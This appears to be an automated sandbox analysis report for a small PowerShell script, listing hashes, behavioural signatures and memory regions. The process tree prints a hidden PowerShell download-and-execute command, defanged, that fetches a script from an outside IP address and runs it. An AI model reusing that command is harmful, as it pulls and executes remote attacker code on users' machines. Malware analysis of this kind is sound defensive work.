Resubmissions

19/03/2024, 16:38

240319-t5q13ahc8y 1

Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    19/03/2024, 16:38

General

  • Target

    Test.ps1

  • Size

    117B

  • MD5

    4f60861d22bcfd6a3ead487152fb3d80

  • SHA1

    d48998cdcc17907319d889b74e0d3473eeb8ee62

  • SHA256

    c7b15b54c005c50148ca4fd1ceefe0a0d92bf88160aaf4227d5dcb491e222e4d

  • SHA512

    5c5a942e1c9d0d4e48c77b08f7a244b36802c684f23e9cd82b0c039b743bfba0c60b90860ebfc87ea588699829f420411a4453787a85c60364db0069b3f61856

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\Test.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://194[.]165[.]16[.]55:80/a'))"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    072b8f960ce4543d042704b9cccec2b3

    SHA1

    eac9108135062103759a0c251e18da1f9b568b65

    SHA256

    146a8efeca2e11ebc7b8e71daa19371c20a5686ba0d5605c94b111b20111a9e5

    SHA512

    09a977235a939c057724f0a6b450ed9966b64fb5ae01452131b61290934b891f4725be50ace2357b4247992510a0a862c312ecfd6dfa539c04ddbef3ba7efe69

  • memory/1668-10-0x0000000002700000-0x0000000002780000-memory.dmp

    Filesize

    512KB

  • memory/1668-7-0x0000000002700000-0x0000000002780000-memory.dmp

    Filesize

    512KB

  • memory/1668-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

    Filesize

    2.9MB

  • memory/1668-8-0x0000000001E60000-0x0000000001E68000-memory.dmp

    Filesize

    32KB

  • memory/1668-9-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB

  • memory/1668-4-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB

  • memory/1668-11-0x0000000002700000-0x0000000002780000-memory.dmp

    Filesize

    512KB

  • memory/1668-6-0x0000000002700000-0x0000000002780000-memory.dmp

    Filesize

    512KB

  • memory/1668-21-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-17-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-18-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2532-19-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2532-20-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

    Filesize

    9.6MB